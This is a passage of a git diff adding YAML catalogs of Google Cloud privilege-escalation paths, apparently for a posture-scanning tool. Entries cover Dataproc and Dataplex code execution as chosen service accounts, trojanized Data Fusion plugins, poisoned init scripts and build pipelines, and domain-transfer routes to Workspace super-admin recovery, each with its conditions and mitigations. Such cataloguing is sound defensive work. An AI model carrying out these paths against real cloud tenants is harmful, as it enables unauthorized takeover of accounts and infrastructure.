source_revision: 171e422 + summary: The source can run user-controlled code as the pipeline VM service account when a code-capable plugin is available to a pipeline it can create and execute in an authorized namespace. + requires: + all_of: + - action: datafusion.instances.get + resource: '*' + - action: datafusion.namespaces.get + resource: '*' + - action: datafusion.pipelines.create + resource: '*' + - action: datafusion.pipelines.execute + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_datafusion_pipeline_path: true + scope: any + aggregate_as: Pipeline VM SAs of runnable Data Fusion profiles in authorized namespaces + conditions: + - id: plugin_installed + description: A code-capable plugin must be available to an installed pipeline artifact in the namespace. + - id: valid_compute_profile + description: The Data Fusion service agent must already be able to act as the profile's SA; no caller actAs is needed. + - id: namespace_scope + description: Pipeline permissions may be granted per namespace on RBAC-enabled instances. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/datafusion.developer and higher; use a low-privilege pipeline SA per compute profile instead of the Compute Engine default SA. + references: + - https://docs.cloud.google.com/data-fusion/docs/concepts/rbac + - https://docs.cloud.google.com/data-fusion/docs/concepts/service-accounts +- id: gcp-datafusion-setiampolicy-self-grant + provider: gcp + service: datafusion + title: Self-grant a Data Fusion instance or namespace role, then run pipelines + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md#self-grant-a-data-fusion-instance-or-namespace-role + source_revision: 171e422 + summary: The source can grant itself pipeline access through a writable Data Fusion instance or namespace IAM policy, then run an installed code plugin as an authorized profile's pipeline VM service account. + requires: + any_of: + - - action: datafusion.instances.setIamPolicy + resource: '*' + - - action: datafusion.namespaces.setIamPolicy + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_datafusion_selfgrant_path: true + scope: any + aggregate_as: Pipeline VM SAs of runnable Data Fusion profiles on instances or namespaces whose IAM policy the source controls + conditions: + - id: accessor_gate + description: The namespace path also needs effective datafusion.instances.get (roles/datafusion.accessor); Google's RBAC pages disagree on whether it is implicit. + - id: plugin_installed + description: A code-capable plugin must be available to an installed pipeline artifact, and its selected runner and service agent must have their runtime permissions. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Keep Data Fusion setIamPolicy permissions to administrators (Data Fusion Admin, Owner). + references: + - https://docs.cloud.google.com/data-fusion/docs/concepts/rbac +- id: gcp-datafusion-artifacts-create-plugin-poison + provider: gcp + service: datafusion + title: Plant a trojanized CDAP plugin used by existing Data Fusion pipelines + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md#malicious-artifact--plugin-planted-in-the-namespace-datafusionartifactscreate + source_revision: 4e9b5eaaa6 + summary: The source can replace the exact user-scoped plugin artifact used by an enabled pipeline schedule and reach that pipeline's resolved runner service account. + requires: + all_of: + - action: datafusion.instances.get + resource: '*' + - action: datafusion.namespaces.get + resource: '*' + - action: datafusion.artifacts.create + resource: '*' + - action: datafusion.artifacts.update + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_datafusion_artifact_poison_path: true + scope: any + aggregate_as: Pipeline runner SAs of scheduled Data Fusion pipelines using replaceable plugins + conditions: + - id: victim_pipeline_uses_plugin + description: An enabled schedule must run a deployed pipeline that references the exact user-scoped artifact name and version after replacement. + - id: namespace_scope + description: The caller needs namespace get/create/update permissions; an existing non-snapshot artifact also needs delete permission on that namespace. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict artifact create/update/delete on pipeline namespaces, avoid mutable SNAPSHOT plugins, and use a low-privilege pipeline runner SA. + references: + - https://docs.cloud.google.com/data-fusion/docs/concepts/rbac diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dataplex.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataplex.yaml new file mode 100644 index 0000000000..b02b815ba4 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataplex.yaml @@ -0,0 +1,43 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Dataplex privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataplex-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-dataplex-tasks-create-actas + provider: gcp + service: dataplex + title: Create a Dataplex Spark task with a chosen execution service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#dataplextaskscreate--iamserviceaccountsactas--execute-attacker-code-as-a-service-account + source_revision: 6fb9ac51fd + summary: The source can create a Spark task in an active lake with a service account it can act as, using a Python payload it can place in a bucket that the runner can read. + requires: + all_of: + - action: dataplex.tasks.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataplex_task_path: true + scope: any + aggregate_as: Service accounts usable by a Dataplex Spark task in an active lake + conditions: + - id: execution_project_sa + description: The execution SA must belong to the task's execution project (the lake project by default, or a chosen execution project); cross-project execution adds service-agent, networking and quota prerequisites in both projects. + - id: sa_baseline_roles + description: The SA needs the serverless Spark runtime permissions (e.g. roles/dataproc.worker) and read access to every referenced script, JAR or file. + - id: payload_upload + description: The source must be able to create a Python object in an existing bucket that the runner can read; another proven writable code source could also work. + - id: lake + description: An existing Dataplex lake is required (creating one is not part of the minimum set); Dataplex and Dataproc APIs must be enabled. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Dataplex task SAs; roles/editor contains both permissions. + references: + - https://docs.cloud.google.com/knowledge-catalog/docs/reference/rest/v1/projects.locations.lakes.tasks/create + - https://docs.cloud.google.com/sdk/gcloud/reference/dataplex/tasks/create + notes: Task updates revalidate actAs on the bound execution identity, so updating an existing task is not modelled as an actAs bypass. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dataproc.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataproc.yaml new file mode 100644 index 0000000000..ab4c706b48 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dataproc.yaml @@ -0,0 +1,248 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Dataproc privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-dataproc-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Create-time gates: actAs on the chosen SA (caller) and roles/dataproc.worker on that SA (else creation is rejected). + +- id: gcp-dataproc-jobs-create-existing-cluster + provider: gcp + service: dataproc + title: Submit a job to an existing Dataproc cluster and use the cluster service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget-dataprocclustersuse-dataprocjobscreate-dataprocjobsget-dataprocjobslist-storageobjectscreate-storageobjectsget + source_revision: 171e422 + summary: The source can submit a runnable job to an existing cluster and use the VM service account on a standard cluster or its mapped account on a secure multi-tenant cluster. + requires: + all_of: + - action: dataproc.jobs.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_job_path: true + scope: any + aggregate_as: "SAs available to jobs on existing Dataproc clusters" + conditions: + - id: script_upload + description: The caller needs clusters.use on the exact running cluster, and must supply a script that the job identity can read; CLI workflows also use clusters.get and jobs.get. + - id: access_scopes + description: VM OAuth scopes must allow access; a secure multi-tenant job uses a mapped account that the VM account can mint tokens for, while personal authentication is unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict roles/dataproc.editor/admin to cluster owners and run clusters with least-privilege SAs. + notes: jobs.create is project-scoped and clusters.use must hold on the exact cluster. No actAs is needed to reuse its configured identity. + +- id: gcp-dataproc-clusters-batches-create-actas + provider: gcp + service: dataproc + title: Create a Dataproc cluster or serverless batch running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclusterscreate--dataprocbatchescreate--iamserviceaccountsactas--attach-an-arbitrary-service-account + source_revision: 171e422 + summary: The source can create a cluster or serverless batch with a selected service account and a usable runtime; cluster metadata can carry inline startup code, while a batch needs a readable Python script. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "*" + any_of: + - - action: dataproc.clusters.create + resource: "*" + - - action: dataproc.batches.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_create_path: true + scope: any + aggregate_as: "Service accounts usable as Dataproc VM/batch SA in {project}" + conditions: + - id: sa_worker_role + description: The selected SA needs Worker permissions and staging access for clusters and older batches; a runtime 3.x batch instead needs Serverless Node and Resource Manager Node Service Agent roles, with the Resource Manager API enabled. + - id: access_scopes + description: On classic clusters the node token is limited to the OAuth scopes chosen at create time; the creator can request cloud-platform. Serverless workloads use cloud-platform. + - id: cluster_code_path + description: On the cluster path, initialization actions or a startup-script/ssh-keys metadata key run code as root on the nodes at creation, so dataproc.jobs.create is not required. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; review roles/dataproc.hubAgent which bundles actAs and clusters.create. + references: + - https://cloud.google.com/dataproc/docs/concepts/configuring-clusters/service-accounts + - https://docs.cloud.google.com/managed-spark/docs/concepts/iam-serverless + - https://docs.cloud.google.com/managed-spark/docs/concepts/versions/spark-runtime-3.0 + - https://docs.cloud.google.com/managed-spark/docs/concepts/network-serverless + +- id: gcp-dataproc-sessions-create-actas + provider: gcp + service: dataproc + title: Create an interactive Dataproc Serverless session running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocsessionscreate--dataprocsessiontemplatescreate--interactive-serverless-session-run-as-sa + source_revision: 171e422 + summary: The source can create and access an interactive Spark session with a chosen service account when that account has a usable Worker or 3.x Node runtime. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "*" + - action: dataproc.sessions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_session_path: true + scope: any + aggregate_as: "Service accounts usable as Dataproc session SA in {project}" + conditions: + - id: sa_worker_role + description: The chosen SA needs Worker permissions for a pre-3.0 session or Serverless Node and Resource Manager Node Service Agent roles for a 3.x session; the caller must also be able to read the session to connect. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs and restrict dataproc.sessions.create. + references: + - https://docs.cloud.google.com/managed-spark/docs/reference/rest/v1/projects.locations.sessions/create + - https://docs.cloud.google.com/managed-spark/docs/concepts/iam-serverless + - https://docs.cloud.google.com/managed-spark/docs/guides/spark-connect-client + notes: Session templates (dataproc.sessionTemplates.create) persist the SA for later sessions; that is persistence and is not a separate edge. + +- id: gcp-dataproc-clusters-setiampolicy + provider: gcp + service: dataproc + title: Self-grant job submission on a Dataproc cluster through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclusterssetiampolicy--self-grant-use-of-a-specific-cluster + source_revision: 171e422 + summary: The source can grant itself use of a running Dataproc cluster, then submit a script it controls as that cluster's service account when it also holds project-level job creation. + requires: + all_of: + - action: dataproc.clusters.setIamPolicy + resource: "*" + - action: dataproc.jobs.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_cluster_selfgrant_path: true + scope: any + aggregate_as: "SAs of Dataproc clusters whose IAM policy the source controls" + conditions: + - id: policy_read + description: Read access to the cluster IAM policy lets the source preserve its etag while adding the use grant. + - id: script_upload + description: The source needs a place to upload a PySpark script that the running cluster's service account can read. + - id: access_scopes + description: Cluster VMs need the cloud-platform OAuth scope to reach the service account's wider Google Cloud permissions. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict dataproc.clusters.setIamPolicy (roles/dataproc.admin). + references: + - https://docs.cloud.google.com/dataproc/docs/concepts/iam/granular-iam + notes: A cluster-level role does not turn its project-scoped permissions into project grants, so dataproc.jobs.create must already be held at project level (Granular IAM). On a Component Gateway-enabled cluster the self-granted clusters.use alone also reaches the cluster SA (see gcp-dataproc-component-gateway-existing-cluster). No actAs or project-level IAM change needed. jobs.setIamPolicy and workflowTemplates.setIamPolicy are listed by HackTricks too, but a job-level grant does not by itself confer clusters.use, so only the cluster-level self-grant is modelled. + +- id: gcp-dataproc-workflowtemplates-actas + provider: gcp + service: dataproc + title: Run a Dataproc workflow with a chosen service account and initialization action + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocworkflowtemplatescreate----initialization-actions--template--init-action-tamper-persistence + source_revision: 171e422 + summary: The source can instantiate a managed-cluster workflow, either from a template it creates or inline, that runs a readable initialization script with a chosen service account. + requires: + any_of: + - - action: dataproc.workflowTemplates.create + resource: "*" + - - action: dataproc.workflowTemplates.instantiateInline + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_workflow_path: true + scope: any + aggregate_as: "Service accounts usable by managed Dataproc workflows" + conditions: + - id: sa_worker_role + description: The chosen account needs Dataproc worker permissions and read access to the uploaded initialization script; the managed cluster also needs a service agent and usable subnet. + - id: actas_point + description: The caller needs actAs on the chosen account and either create plus instantiate on a new template, or instantiateInline in the same project. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict dataproc.workflowTemplates create/update/instantiate and actAs grants. + references: + - https://docs.cloud.google.com/managed-spark/docs/concepts/iam/iam + - https://docs.cloud.google.com/managed-spark/docs/concepts/workflows/overview + - https://docs.cloud.google.com/managed-spark/docs/reference/rest/v1/projects.regions.workflowTemplates/create + - https://docs.cloud.google.com/managed-spark/docs/reference/rest/v1/projects.regions.workflowTemplates/instantiateInline + notes: A complete template can be supplied in the create API request; the multi-command CLI example also needs update. An inline workflow requires only instantiateInline and does not persist a template. The persistence aspect (others instantiating a created template later) is not modelled. + +- id: gcp-dataproc-component-gateway-existing-cluster + provider: gcp + service: dataproc + title: Run notebook code as the service account of an existing Component Gateway-enabled Dataproc cluster + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#component-gateway-jupyter--zeppelin--interactive-code-exec-as-the-cluster-sa-without-jobscreate + source_revision: 171e422 + summary: The source can open a notebook on a running Component Gateway cluster and run code as its VM service account, or as its own mapped account on a secure multi-tenant cluster. + requires: + all_of: + - action: dataproc.clusters.use + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_dataproc_gateway_path: true + scope: any + aggregate_as: "SAs of Component Gateway-enabled Dataproc clusters the source can use" + conditions: + - id: gateway_notebook_enabled + description: A running cluster must have Component Gateway, an enabled notebook component and its URL; the caller needs clusters.get and clusters.use on that exact cluster. + - id: access_scopes + description: The VM must have a broad OAuth scope, or a secure multi-tenant user must have a mapped service account the VM can mint tokens for; personal authentication is unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Do not enable Jupyter/Zeppelin with Component Gateway on clusters with privileged SAs, and restrict dataproc.clusters.use. + references: + - https://docs.cloud.google.com/dataproc/docs/concepts/accessing/dataproc-gateways + notes: Google documents dataproc.clusters.use as the permission required to access enabled component web interfaces. No actAs needed; creating a new gateway cluster is covered by gcp-dataproc-clusters-batches-create-actas. + +- id: gcp-dataproc-staging-object-replace + provider: gcp + service: dataproc + title: Control an initialization script used by an existing Dataproc cluster + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget--config-leak-sa--scopes--buckets--metadata--properties--staging-bucket-poison + source_revision: 171e422 + summary: The source may run code with a Dataproc cluster VM account if it can replace or restore a referenced initialization script before a new node starts. + requires: + all_of: + - action: storage.objects.create + resource: "{target.dataproc_init_object}" + target: + kind: gcp_service_account + selector: + gcp_dataproc_init_replace_path: true + scope: any + aggregate_as: "SAs of Dataproc clusters loading code from objects the source can replace" + conditions: + - id: reused_object + description: A later legitimate scale-up must load the same referenced initialization script that the caller can replace or restore. + - id: object_protection + description: The caller needs create and, for a live object, delete on the same exact object, without an active hold or retention period; the VM account must still be able to read it. + - id: access_scopes + description: The usable token is limited by the cluster VMs' access scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Keep referenced Dataproc initialization-action scripts writable only by the cluster owners and the cluster SA. + references: + - https://docs.cloud.google.com/managed-spark/docs/concepts/configuring-clusters/init-actions + - https://docs.cloud.google.com/storage/docs/json_api/v1/objects/insert + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + notes: The modeled path requires metadata for the exact referenced initialization-action object and a running cluster. A confirmed missing object may be restored with create alone. The later scale-up is conditional. Job dependencies not named in cluster inventory remain unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/deploymentmanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/deploymentmanager.yaml new file mode 100644 index 0000000000..d0383cd64e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/deploymentmanager.yaml @@ -0,0 +1,107 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Deployment Manager privilege escalation techniques (legacy; end of support 2026-03-31). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Deployments always execute as the Google APIs Service Agent @cloudservices.gserviceaccount.com +# (roles/editor by default). attached_to_service: cloudservices_agent -> that project's Google APIs Service Agent. +# The agent's roles/editor includes actAs but NOT resourcemanager.projects.setIamPolicy, so onward reach (e.g. VMs with +# any project SA) is through the agent node's own edges, not project ownership. +- id: gcp-deploymentmanager-deployments-create + provider: gcp + service: deploymentmanager + title: Create a Deployment Manager deployment executed by the Google APIs Service Agent + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deploymentmanagerdeploymentscreate--update--deploy-through-the-google-apis-service-agent + source_revision: 171e422 + summary: The source can submit a deployment that uses its project's Google APIs Service Agent to create a VM with a service account the caller cannot attach directly. + requires: + all_of: + - action: deploymentmanager.deployments.create + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_deploymentmanager_create_path: true + scope: same_project + aggregate_as: Google APIs Service Agent of {project} + conditions: + - id: legacy_service + description: The V2 API must be enabled and a prior deployment must establish an existing customer, since new users cannot create a first deployment after 2026-06-30. + - id: agent_roles + description: The exact project-number agent needs VM, startup-script, disk, subnet, image and service-account attachment rights. + - id: indirect_use + description: A ready image, usable subnet, and an attachable project service account must support a VM the caller could not create directly; the source does not receive the agent's token. + - id: gcloud_get + description: The gcloud helper also needs deploymentmanager.deployments.get to finish, but sends the insert before that read, so create alone triggers the deployment. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Disable the Deployment Manager API, remove roles/editor from the cloudservices agent where possible and restrict roles/deploymentmanager.editor. + references: + - https://cloud.google.com/deployment-manager/docs/access-control + - https://docs.cloud.google.com/deployment-manager/docs/deprecations + - https://docs.cloud.google.com/compute/docs/reference/rest/v1/instances/insert + notes: The per-deployment credential.serviceAccount field is ignored by the live service (HackTricks), so the identity is always the cloudservices agent. A complete deployment list without current entries cannot disprove historical customer eligibility; that case stays unknown. Other supported resource paths stay unresolved when the concrete VM path is unavailable. +- id: gcp-deploymentmanager-deployments-update + provider: gcp + service: deploymentmanager + title: Update an existing Deployment Manager deployment + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deploymentmanagerdeploymentscreate--update--deploy-through-the-google-apis-service-agent + source_revision: 171e422 + summary: The source can update an exact existing deployment and use its Google APIs Service Agent to create a VM with a service account the caller cannot attach directly. + requires: + all_of: + - action: deploymentmanager.deployments.update + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_deploymentmanager_update_path: true + scope: same_project + aggregate_as: Google APIs Service Agent of {project} + conditions: + - id: existing_deployment + description: The caller needs get and update on the same listed deployment to retrieve its current fingerprint; deletePolicy=ABANDON can avoid deleting resources omitted from the new config. + - id: legacy_service + description: The enabled V2 API must still serve this existing customer, and the exact service agent must retain a viable downstream VM path. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Disable the Deployment Manager API and restrict deploymentmanager.deployments.update. + references: + - https://docs.cloud.google.com/deployment-manager/docs/reference/latest/deployments/update + - https://docs.cloud.google.com/deployment-manager/docs/reference/latest/deployments + notes: A caller with a separately known current fingerprint may use the raw API without deployments.get; that case remains unresolved when the read grant is absent. +- id: gcp-deploymentmanager-deployments-setiampolicy + provider: gcp + service: deploymentmanager + title: Self-grant update on a deployment through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deploymentmanagerdeploymentssetiampolicy--self-grant-control-of-one-existing-deployment + source_revision: 171e422 + summary: The source can add itself to an existing deployment's Admin policy, update that deployment, and use its Google APIs Service Agent for a VM path the source lacks directly. + requires: + all_of: + - action: deploymentmanager.deployments.setIamPolicy + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_deploymentmanager_selfgrant_path: true + scope: same_project + aggregate_as: Google APIs Service Agent of {project} + conditions: + - id: grantable_role + description: The caller needs getIamPolicy and setIamPolicy on the same deployment, a complete policy with etag, a grantable Admin role that includes update, and no deny on the gained update permission. + - id: existing_deployment + description: The exact deployment and enabled legacy API must exist; the agent also needs a viable downstream resource path. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict deploymentmanager.deployments.setIamPolicy (Owner, Deployment Manager Admin, Security Admin). + references: + - https://docs.cloud.google.com/deployment-manager/docs/access-control + - https://docs.cloud.google.com/deployment-manager/docs/reference/latest/deployments/getIamPolicy + - https://docs.cloud.google.com/deployment-manager/docs/reference/latest/deployments/setIamPolicy + - https://docs.cloud.google.com/iam/docs/roles-permissions/deploymentmanager diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/developerconnect.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/developerconnect.yaml new file mode 100644 index 0000000000..32f026d2d8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/developerconnect.yaml @@ -0,0 +1,45 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Developer Connect privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-developer-connect-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. attached_to_service: sourcerepo_trigger_consumer is +# defined in securesourcemanager.yaml ("{target.artifact_arn}" here is the Developer Connect gitRepositoryLink). +- id: gcp-developerconnect-readwrite-token-pipeline-poison + provider: gcp + service: developerconnect + title: Write to a linked repository through Developer Connect and poison the pipeline that builds from it + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-developer-connect-privesc.md#fetchreadwritetoken-or-git-proxy-write---poison-a-privileged-repository-driven-pipeline + source_revision: 6fb9ac51fd + summary: The source can write to the exact Developer Connect repository link watched by an enabled Cloud Build push trigger that reads its build configuration from that repository and runs as a more privileged service account. + requires: + any_of: + - - action: developerconnect.gitRepositoryLinks.fetchReadWriteToken + resource: '*' + - - action: developerconnect.gitRepositoryLinks.gitProxyRead + resource: '*' + - action: developerconnect.gitRepositoryLinks.gitProxyWrite + resource: '*' + target: + kind: gcp_service_account + include_service_managed: true + selector: + gcp_developerconnect_pipeline_path: true + scope: any + aggregate_as: Run-as SAs of pipelines building from repositories writable through Developer Connect + conditions: + - id: git_proxy_enabled + description: The gitProxyRead plus gitProxyWrite alternative (roles/developerconnect.gitProxyUser, roles/developerconnect.admin) needs the connection's system Git proxy enabled and its URI known; roles/developerconnect.admin does not contain fetchReadWriteToken. + - id: provider_write_allowed + description: The provider integration must allow writes to the repository, and the triggering ref/file must not be protected by provider branch rules or approvals. + - id: automatic_consumer + description: An enabled Cloud Build push trigger must watch the same exact Developer Connect link, run without approval or a custom filter, and load its build configuration from that repository as an identity with additional permissions. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict fetchReadWriteToken (roles/developerconnect.tokenAccessor) and Git proxy write roles, protect trigger branches in the provider, and require approval on privileged build triggers. + references: + - https://docs.cloud.google.com/developer-connect/docs/access-control + - https://docs.cloud.google.com/developer-connect/docs/api/reference/rest/v1/projects.locations.connections.gitRepositoryLinks/fetchReadWriteToken + - https://docs.cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.triggers + notes: Developer Connect itself runs no code. Provider branch rules and actual repository write access remain conditional. A proxy-only path needs the exact link's collected gitProxyUri; other deployment consumers remain unresolved when their attachment is not collected. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dialogflow.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dialogflow.yaml new file mode 100644 index 0000000000..d6aa292afe --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dialogflow.yaml @@ -0,0 +1,2 @@ +# GCP Dialogflow credential routes. The required collector fact is not yet available. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dlp.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dlp.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dlp.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/domains.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/domains.yaml new file mode 100644 index 0000000000..e0d208ed01 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/domains.yaml @@ -0,0 +1,64 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Domains privilege escalation techniques. +# Source: hacktricks-cloud gcp-post-exploitation/gcp-cloud-domains-post-exploitation.md (rev 171e422). +# Needs the domains_registration inventory {name, domainName} (not collected yet -> unresolved placeholders). + +- id: gcp-domains-configuredns-workspace-admin-recovery + provider: gcp + service: domains + title: Repoint a Cloud Domains registration's name servers to recover the Workspace super administrator + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#cloud-dns-to-workspace-administrator-recovery + source_revision: 4e9b5eaaa6 + summary: The source can obtain the privileges of Workspace super administrators of tenants whose primary domain is a Cloud Domains registration whose DNS settings it can change. + requires: + all_of: + - action: domains.registrations.configureDns + resource: "{target.domain_registration}" + target: + kind: gcp_workspace_user + selector: + gcp_workspace_super_admin_with_registered_domain: true + scope: any + aggregate_as: "Workspace super administrators of domains registered in Cloud Domains" + conditions: + - id: dnssec + description: Published DS records must be removed and aged out first, otherwise the change breaks resolution instead of redirecting it. + - id: recovery_process + description: Depends on Google's administrator-recovery process accepting the DNS domain-verification challenge for the tenant. + - id: attacker_name_servers + description: The source must operate the replacement authoritative name servers. + blockers: [gcp_deny_policy] + confidence: conditional + severity: critical + mitigation: Restrict domains.registrations.configureDns on registrations of Workspace domains and monitor name-server changes and admin-recovery events. + notes: Same end state as gcp-workspace-cloud-dns-admin-recovery, with the registration (not a Cloud DNS zone) as the control point. + +- id: gcp-domains-configuremanagement-transfer-workspace-admin-recovery + provider: gcp + service: domains + title: Transfer a Cloud Domains registration to attempt Workspace administrator recovery + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#cloud-dns-to-workspace-administrator-recovery + source_revision: 4e9b5eaaa6 + summary: The source can retrieve a transfer authorization code or initiate a push transfer for an eligible Cloud Domains registration. A completed transfer to a controlled registrar could give it DNS control of the matching Workspace customer's primary domain, which may support administrator recovery. + requires: + all_of: + - action: domains.registrations.configureManagement + resource: "{target.domain_registration}" + target: + kind: gcp_workspace_user + selector: + gcp_workspace_super_admin_with_registered_domain: true + scope: any + aggregate_as: "Workspace super administrators of domains registered in Cloud Domains" + conditions: + - id: transfer_eligibility + description: Authorization-code retrieval requires the initial registration to be at least 60 days old. The registration must meet lock, registry and TLD transfer rules; push-transfer TLDs need a receiving registrar tag instead of an authorization code. + - id: receiving_registrar + description: The source must complete any required registrar or registrant confirmation, transfer the domain to a registrar it controls, and publish DNS for the domain. + - id: recovery_process + description: Depends on Google's administrator-recovery process accepting the DNS domain-verification challenge for the tenant. + blockers: [gcp_deny_policy] + confidence: conditional + severity: critical + mitigation: Restrict domains.registrations.configureManagement on registrations of Workspace domains, keep the registrar lock on, and monitor authorization-code retrieval, lock changes and transfer events. + notes: Same end state as gcp-domains-configuredns-workspace-admin-recovery and gcp-workspace-cloud-dns-admin-recovery; the control point is the registrar transfer instead of the name-server setting. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/eventarc.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/eventarc.yaml new file mode 100644 index 0000000000..51c1cc3076 --- 